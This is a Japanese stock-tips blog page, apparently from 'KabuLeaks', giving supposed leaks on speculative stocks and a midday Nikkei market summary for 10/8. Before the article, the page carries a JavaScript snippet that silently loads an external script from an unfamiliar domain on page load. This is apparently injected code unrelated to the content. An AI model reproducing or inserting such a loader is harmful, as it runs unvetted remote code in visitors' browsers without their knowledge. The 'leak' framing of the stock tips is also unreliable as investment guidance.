;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/8 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【10/8 前引け】

【6636】SOL Holdings 353円 +15 (+4.43%)

【1433】ベステラ 11,120円 -300 (-2.62%)

【3918】PCIホールディングス 7,850円 +100 (+1.29%)

前場の日経平均は123円安と7日ぶり反落。取引開始前に発表された8月の機械受注が市場予想を下回ったことが嫌気されたほか、前日前で6連騰と急ピッチな戻りを試す展開からの反動から売り優勢の展開でスタート。売り一巡後はプラス圏に浮上する場面も見られたが、積極的に上値を追う動きは限定的となりその再度マイナス転換し下げ幅を拡大している。また、大型連休明けの上海市場は大幅上昇も日本株にほぼ材料視されずとなっている。

個別では、【3409】北日本紡績が水質浄化システム・省エネルギー装置の販売事業に参入すると発表、これを材料視されストップ高となったほか、先日年初来安値更新した【6094】フリークアウトが調整一巡か!?買い戻しの動きが入ったと思われストップ高に。また、前日に15年6-8月期(第1四半期)決算を発表、好決算から【3297】東武住販が上昇。原油輸送運賃の上昇が際立っていることで、ばら積み船市況の低迷は補えるとの見方から【9130】共栄タンカーなども上昇している。

本日日経平均反落も直近の連騰、短期的な過熱感を考えればある意味当然の流れ。今後日柄調整に入るかと思われるが、政策期待、月末に再度控える日銀会合、追加緩和への思惑なども今後ある為、じっくり様子を伺いつつ押し目を狙うタイミングを見極めたいところだ。